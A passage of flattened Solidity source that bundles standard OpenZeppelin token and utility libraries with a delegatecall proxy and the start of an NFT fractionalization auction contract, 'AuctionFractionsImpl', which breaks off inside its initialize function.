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// SPDX-License-Identifier: GPL-3.0-only // File: @openzeppelin/contracts/introspection/IERC165.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity >=0.6.2 <0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // File: @openzeppelin/contracts/utils/ReentrancyGuard.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // File: contracts/v1.5/AuctionFractions.sol pragma solidity ^0.6.0; contract AuctionFractions { fallback () external payable { assembly { calldatacopy(0, 0, calldatasize()) let result := delegatecall(gas(), 0x8fCD445E86ecF0C79355C5dF257A4E5A32C73AfE, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) switch result case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } } // File: @openzeppelin/contracts/GSN/Context.sol pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol pragma solidity >=0.6.0 <0.8.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity >=0.6.0 <0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // File: @openzeppelin/contracts/token/ERC721/ERC721Holder.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Implementation of the {IERC721Receiver} interface. * * Accepts all token transfers. * Make sure the contract is able to use its token with {IERC721-safeTransferFrom}, {IERC721-approve} or {IERC721-setApprovalForAll}. */ contract ERC721Holder is IERC721Receiver { /** * @dev See {IERC721Receiver-onERC721Received}. * * Always returns `IERC721Receiver.onERC721Received.selector`. */ function onERC721Received(address, address, uint256, bytes memory) public virtual override returns (bytes4) { return this.onERC721Received.selector; } } // File: @openzeppelin/contracts/token/ERC721/IERC721Metadata.sol pragma solidity >=0.6.2 <0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/utils/Strings.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev String operations. */ library Strings { /** * @dev Converts a `uint256` to its ASCII `string` representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); uint256 index = digits - 1; temp = value; while (temp != 0) { buffer[index--] = byte(uint8(48 + temp % 10)); temp /= 10; } return string(buffer); } } // File: contracts/v1.5/SafeERC721.sol pragma solidity ^0.6.0; library SafeERC721 { function safeName(IERC721Metadata _metadata) internal view returns (string memory _name) { try _metadata.name() returns (string memory _n) { return _n; } catch {} } function safeSymbol(IERC721Metadata _metadata) internal view returns (string memory _symbol) { try _metadata.symbol() returns (string memory _s) { return _s; } catch {} } function safeTokenURI(IERC721Metadata _metadata, uint256 _tokenId) internal view returns (string memory _tokenURI) { try _metadata.tokenURI(_tokenId) returns (string memory _t) { return _t; } catch {} } function safeTransfer(IERC721 _token, address _to, uint256 _tokenId) internal { address _from = address(this); try _token.transferFrom(_from, _to, _tokenId) { return; } catch {} // attempts to handle non-conforming ERC721 contracts _token.approve(_from, _tokenId); _token.transferFrom(_from, _to, _tokenId); } } // File: contracts/v1.5/AuctionFractionsImpl.sol pragma solidity ^0.6.0; contract AuctionFractionsImpl is ERC721Holder, ERC20, ReentrancyGuard { using SafeERC20 for IERC20; using SafeERC721 for IERC721; using SafeERC721 for IERC721Metadata; using Strings for uint256; address public target; uint256 public tokenId; uint256 public fractionsCount; uint256 public fractionPrice; address public paymentToken; uint256 public kickoff; uint256 public duration; uint256 public fee; address public vault; bool public released; uint256 public cutoff; address payable public bidder; uint256 private lockedFractions_; uint256 private lockedAmount_; string private name_; string private symbol_; constructor () ERC20("Fractions", "FRAC") public { target = address(-1); // prevents proxy code from misuse } function name() public view override returns (string memory _name) { if (bytes(name_).length != 0) return name_; return string(abi.encodePacked(IERC721Metadata(target).safeName(), " #", tokenId.toString(), " Fractions")); } function symbol() public view override returns (string memory _symbol) { if (bytes(symbol_).length != 0) return symbol_; return string(abi.encodePacked(IERC721Metadata(target).safeSymbol(), tokenId.toString())); } modifier onlyOwner() { require(isOwner(msg.sender), "access denied"); _; } modifier onlyHolder() { require(balanceOf(msg.sender) > 0, "access denied"); _; } modifier onlyBidder() { require(msg.sender == bidder, "access denied"); _; } modifier inAuction() { require(kickoff <= now && now <= cutoff, "not available"); _; } modifier afterAuction() { require(now > cutoff, "not available"); _; } function initialize(address _from, address _target, uint256 _tokenId, string memory _name, string memory _symbol, uint8 _decimals, uint256 _fractionsCount, uint256 _fractionPrice, address _paymentToken, uint256 _kickoff, uint256 _duration, uint256 _fee, address _vault) external { require(target == address(0), "already initialized"); require(IERC721(_target).ownerOf(_tokenId) == address(this), "missing token"); require(_fractionsCount > 0, "invalid count"); require(_fractionsCount * _fractionPrice / _fractionsCount == _fractionPrice, "price overflow"); require(_paymentToken != address(this), "invalid token"); require(_kickoff <= now + 731 days, "invalid kickoff"); require(30 